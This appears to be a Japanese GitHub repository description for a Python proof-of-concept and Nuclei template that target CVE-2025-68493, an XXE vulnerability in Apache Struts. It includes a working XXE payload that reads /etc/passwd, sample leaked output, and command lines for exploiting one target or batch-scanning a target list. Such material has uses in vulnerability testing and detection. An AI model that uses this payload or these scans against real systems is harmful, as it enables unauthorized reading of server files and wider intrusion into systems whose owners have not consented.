hsltz/cve-2025-68493CVE-2025-68493（Apache StrutsのXXE脆弱性）を検出および悪用するためのPython PoCスクリプトとNuclei YAMLテンプレート。ファイル読み取りとバッチスキャンを可能にします。
CVE-2025-68493
[1] ApacheStrutsXWorkXML脆弱性CVE-2025-68493のPoCおよびスクリプト | ZONE.CI 全球网. https://zone.ci/secarticles/wx/486533.html
CVE-2025-68493 脆弱性を検証および悪用するには、以下の Python PoC スクリプトと Nuclei YAML テンプレートを使用できます。
スクリプト名: cve_2025_68493_poc.py
機能: このスクリプトは、単一のターゲットに対して脆弱性検証を行い、指定されたファイル（デフォルトは /etc/passwd）の読み取りを試みます。
使用要件:
requests ライブラリ (pip install requests)コマンドライン引数:
-u, : ターゲットアプリケーションのベースURL（例: ）--urlhttp://127.0.0.1:8080-f, --file: 読み取りを試みるターゲットファイルパス（デフォルトは /etc/passwd）例:
python3 cve_2025_68493_poc.py -u http://example.com:8080 -f /etc/passwd
期待される出力:
ターゲットに脆弱性が存在し、ファイルの読み取りに成功した場合、以下のような内容が表示されます：
[*] Testing URL: http://example.com:8080/struts2-xml-parser/xmlParserNoDtdParse
[*] Payload: <?xml version="1.0"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <foo>&xxe;</foo>
[+] Vulnerable! Successfully read /etc/passwd
----------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
----------------------------------------
テンプレート名: cve-2025-68493.yaml
機能: このテンプレートは、Nuclei ツールを使用して複数のターゲットをバッチスキャンし、CVE-2025-68493 脆弱性を検出するために使用されます。
使用要件:
コマンドライン引数:
-t: Nuclei テンプレートファイルのパスを指定-u: 単一のターゲット URL を指定-l: 複数のターゲット URL を含むファイルを指定例:
単一ターゲットのスキャン:
nuclei -t cve-2025-68493.yaml -u http://example.com:8080
バッチスキャン:
targets.txt というファイルがあり、各行にターゲット URL が含まれているとします：
http://target1.com:8080
http://target2.com:8080
以下のコマンドを実行してバッチスキャンを行います：
nuclei -t cve-2025-68493.yaml -l targets.txt